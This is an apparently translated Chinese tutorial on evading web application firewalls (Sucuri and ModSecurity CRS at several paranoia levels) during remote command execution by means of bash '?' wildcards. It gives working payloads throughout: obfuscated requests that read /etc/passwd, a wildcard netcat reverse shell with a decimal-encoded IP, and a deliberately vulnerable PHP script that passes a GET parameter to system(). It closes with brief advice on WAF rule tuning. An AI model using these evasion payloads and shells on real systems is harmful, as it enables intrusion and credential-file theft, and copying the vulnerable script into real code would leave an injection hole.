在Web应用中,发现远程命令执行漏洞并不罕见,在2017年,OWASP前10位的安全威胁中,注入位于第一:
注入漏洞,例如SQL、NoSQL、OS和LDAP注入,一般发生在服务器执行命令或查询时,因有不可控的数据掺杂其中,所导致的异常反馈。攻击者通过输入恶意数据可能诱使系统去执行意料之外的命令或造成敏感数据泄露。
所有现代的Web防火墙(WAF)都具有拦截远程命令执行(RCE)的能力,但是当Web应用位于Linux系统时,我们就有很多方法来绕过WAF的拦截。对于渗透测试人员来说,最好朋友不是狗……而是“通配符”。在开始正式渗透测试之前,我想向你展示一些bash和通配符的小知识。
你可能不知道的通配符知识
Bash标准通配符(也称为全局模式)主要出现在用命令行处理多个文件时。有关通配符的更多信息,可以在命令行输入man 7 glob来了解更多。不是每个人都知道在许多bash语法中,你仅仅使用问号“?”,斜杠“/”,数字,字母就可以执行系统命令。你甚至使用相同数量的字符就能枚举文件,获取它们的内容。这是如何做到的?我给你举几个例子:
为了代替ls命令,你可以使用以下语法:
/???/?s
使用这种语法,你基本上可以执行你想要的所有操作。假设你攻击的目标位于WAF之后,并且这个WAF会拦截所有GET参数值或POST请求中的含有/etc/passwd或/bin/ls的请求。这时如果你尝试发出一个请求,例如/?cmd=cat+/etc/passwd,它就会被WAF拦截,你的IP也会被封禁。但如果此时你口袋里有一个秘密武器,叫做通配符,如果你很幸运地发现这个WAF的“防御等级”不够高。那么,你就可以轻松地通过以下请求绕过WAF(url编码)/?cmd=%2f???%2f??t%20%2f???%2fp??s??
正如你在上图看到的,当执行这个命令,会出现三个错误。这是因为/???/??t有可能代表/bin/cat,也有可能是/dev/net或/etc/apt等
一个通配符问号代表示一个任意字符。因此,如果您知道文件名的一部分,而且不止一个字符,那么就可以使用通配符。比如ls *.???将列出当前目录中扩展名长度为3的所有文件,这包括.gif、.jpg、.txt等文件。
使用通配符时,你也可以利用netcat返回一个shell。假设您需要往本机的1337端口(通常为nc -e /bin/bash 127.0.0.1 1337)返回一个shell,那么你可以使用如下语法来完成:
/???/n? -e /???/b??h 2130706433 1337
注意,这里将IP地址127.0.0.1转换为2130706433,可以避免在HTTP请求中使用类似IP地址的字符。
在我的kali中,我需要使用nc.traditional去替代nc,而这样就可以使用e参数,以便在连接之后执行/bin/bash。最后payload变成:
/???/?c.??????????? -e /???/b??h 2130706433 1337
下面简单介绍一下我们使用的两个命令:
标准:/bin/nc 127.0.0.1 1337
绕过:/???/n? 2130706433 1337
使用的字符:/ ? n [0-9]
标准:/bin/cat /etc/passwd
绕过:/???/??t /???/??ss??
使用的字符:/ ? t s
为什么使用?而不是*,因为星号广泛用于注释语法,而且在SQL注入中使用较多,比如UNION+SELECT+1,2,3/*,许多WAF为了防止SQL注入,通常会拦截多个星号
使用echo来枚举文件和目录?确实可以。例如:echo/*/*ss*:
上述命令也可以用于RCE,以获得目标系统上的文件和目录,例如:
但是,为什么使用通配符(特别是问号)可以绕过WAF的规则集呢?让我先从Sucuri WAF开始!
Sucuri WAF 绕过
测试WAF绕过的最佳方法是什么?创建一个脆弱的PHP脚本,并尝试所有可能的绕过技术!在上面的屏幕截图中,我们就创建了一个丑陋的web应用(它只是一个可执行命令的PHP脚本)
<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);
在上述图片中,您可以在我对Sucuri WAF进行的测试。如你所见,Sucuri检测到了一个RFI/LFI攻击,拦截了我的请求。虽然拦截原因不完全正确,但是不管怎么样,WAF还是阻止了我的攻击。
而在图片的右窗格中,我使用了“问号”通配符来构造相同的命令。结果就是Sucuri WAF放过了这个请求,系统执行了我输入的命令,成功读取了/etc/passwd文件,当然,我可以读取应用的PHP源代码,我也可以使用netcat,以及像curl和wget这样的网络请求命令,间接泄露出Web服务器的真正IP地址,使我能够通过直连目标来绕过WAF。
我不知道这是不是因为我错误配置了Sucuri WAF中的某些内容,但好像没有……我向Sucuri咨询过是否有防御等级的设置,但还没等到回复。
请记住,我的测试场景和真实场景有很大区别。你不能单纯依据WAF拦截了多少请求来判断WAF的质量,WAF并不能完全保护一个故意存在漏洞的网站!
ModSecurity OWASP CRS 3.0
我真的很喜欢ModSecurity,我认为负责中转的Nginx安装一个新的libmodsecurity(v3)是WAF部署的最佳解决方案。我也是OWASP核心规则集的超级粉丝!我到处都用它,但是,如果你不熟悉这个规则集,你需要对它付出精力,研究一个叫Paranoia Level的东西!
Paranoia Level
下面“模式”可以很好地概括每个防御级别的拦截情况。正如您在PL1中看到的,所接受的字符串只能在范围1-255中的ASCII字符,并且越往下越严格,直到PL4,会拦截一个小范围外所有的字符。
-=[ Targets and ASCII Ranges ]=-
920270: PL1
REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
ASCII: 1-255
Example: Full ASCII range without null character
920271: PL2
REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
ASCII: 9,10,13,32-126,128-255
Example: Full visible ASCII range, tab, newline
920272: PL3
REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
ASCII: 32-36,38-126
Example: Visible lower ASCII range without percent symbol
920273: PL4
ARGS, ARGS_NAMES and REQUEST_BODY
ASCII: 38,44-46,48-58,61,65-90,95,97-122
Example: A-Z a-z 0-9 = - _ . , : &
920274: PL4
REQUEST_HEADERS without User-Agent, Referer, Cookie
ASCII: 32,34,38,42-59,61,65-90,95,97-122
Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
让我们对这些等级进行测试
Paranoia Level 0 (PL0)
Paranoia Level 0意味很多防御规则禁用,因此我们的payload可以立马生效
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
ModSecurity中 paranoia level 1 意味着“高质量无误报的规则”,但是它也太宽松了。您可以在netnea网站上找到分组的规则列表:
https://www.netnea.com/cms/core-rule-set-inventory/
Paranoia Level 1 and 2 (PL1, PL2)
我已经对级别1和2进行了合并,如你在上面的模式中所看到的,它们合在一起不影响我们的测试,所有行为都与下面描述的相同。
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"
使用PL1(和PL2)的ModSecurity拦截原始请求(“访问系统文件访拦截”(930120))。但是如果我使用通配符问号呢?WAF被成功绕过:
这是因为“问号”、“正斜杠”和“空格”在规则集920271和920272中是可接受的安全字符。此外,使用“问号”使我能够避开“系统敏感文件”的过滤器,这种过滤器会拦截操作系统的常见命令和文件(例如/etc/passwd)。
Paranoia Level 3 (PL3)
这种级别防御规则有一个特点:当通配符问号的出现次数超过n次就拦截。事实上,我的请求被标识为“异常检测警报-重复的非文字字符”。这太酷了!干的好!但不幸的是,我的Web应用是如此丑陋和脆弱,以至于我只要使用更少的问号就能读取passwd文件:c=/?in/cat+/et?/passw?
如您所见,我只使用了3个问号,因此我绕过了规则,读取了passwd文件。注意,以上一切并不意味着你必须总是无条件使用Paranoia Level 4 (PL4)。因为我的脚本是非常愚蠢的,和真实的场景相差甚远。
那么接下来,你能绕过Paranoia Level 4 的防御规则集吗?
Paranoia Level 4 (PL4)
基本上不行。范围a-z A-Z 0-9之外的所有字符都被拦截了!肯定不行,相信我,当你需要执行命令来读取文件时,90%的概率你需要一个“空格”字符或“正斜杠”。
最后
静态HTML页面是提高Web应用安全性的最快方法!很难说WAF的最佳配置是啥,或者使用什么等级paranoia level最好。但是,我们不应该在Web应用程序中使用相同的防御规则集。我认为应该为每个不同Web应用配置不同的WAF规则。
无论如何,在ModSecurity上编写你自己的安全规则时,多想想,“我要怎样才能绕过这个规则?”。
网友评论